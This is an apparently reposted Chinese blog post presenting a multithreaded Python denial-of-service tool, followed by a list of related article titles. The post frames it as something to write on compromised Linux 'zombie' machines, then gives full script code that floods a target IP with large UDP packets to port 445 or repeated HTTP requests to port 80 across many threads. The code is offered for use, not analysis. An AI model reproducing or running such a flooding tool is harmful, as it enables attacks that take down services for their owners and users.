python 多线程tcp udp发包 Dos工具。
来源:互联网 发布:知党史颂党恩手抄报 编辑:程序博客网 时间:2024/06/05 14:25
现在肉鸡上面linux越来越多,都默认安装了python,有时候没有工具的时候可以自己写一个:
下面是支持 tcp和udp的python的发包代码:
import socket,sys,threadingif len(sys.argv)!=4: print('使用方法:\n'+sys.argv[0],'目标ip','协议[tcp | udp]','线程数') sys.exit(1) ip=sys.argv[1]tp='send'+sys.argv[2].strip().lower()tno=int(sys.argv[3])udpdata=b'a'*65530tcpdata='''GET / HTTP/1.1Connection: keep-aliveHost: {}User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.11 (KHTML, like Gecko)Chrome/17.0.963.46 Safari/535.11Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip,deflate,sdchAccept-Language: zh-CN,zh;q=0.8Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3'''.format(ip).encode()def sendudp(host,port=445): s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) while True: s.sendto(udpdata,(host,port)) print('Udp sending... ')def sendtcp(host,port=80): while True: s=socket.socket() s.connect((host,port)) s.send(tcpdata) print('Tcp sending... ') s.close() tlst=[]for i in range(tno): th=threading.Thread(target=eval(tp),args=(ip,)) tlst.append(th) for i in tlst: i.start()
- python 多线程tcp udp发包 Dos工具。
- libnet发包例子(tcp udp arp广播)
- libnet发包例子(tcp udp arp广播)
- 嵌入式 tcp或者udp发包协议使用结构体注意事项
- TCP发包
- 发包工具
- python的TCP/UDP
- python+TCP/UDP
- python TCP UDP
- UDP 发包程序
- UDP发包收包
- udp 137端口发包
- udp发包大小
- udp发包流程
- udp发包大小选择
- 转 java UDP发包
- UDP 广播发包失败
- 【Python】多线程getwebshell+存活检测+菜刀发包协议+源码分析
- Microsoft 消息队列Fix
- 内存分配中的堆和栈
- 48 架构师好比两面神
- Hadoop源码分析-HDFS
- 轻松学习C#开发CMPP2.0协议网关-3
- python 多线程tcp udp发包 Dos工具。
- 第五章 函数 ---内联函数
- web项目页面保存为word文件
- 相应TreeView的点击事件的处理
- 取日期相交記錄
- C++多线程编程简单实例
- 堆栈的c 语言实现
- 桌面上IE图标不见了怎么办?
- Intellij 设置优化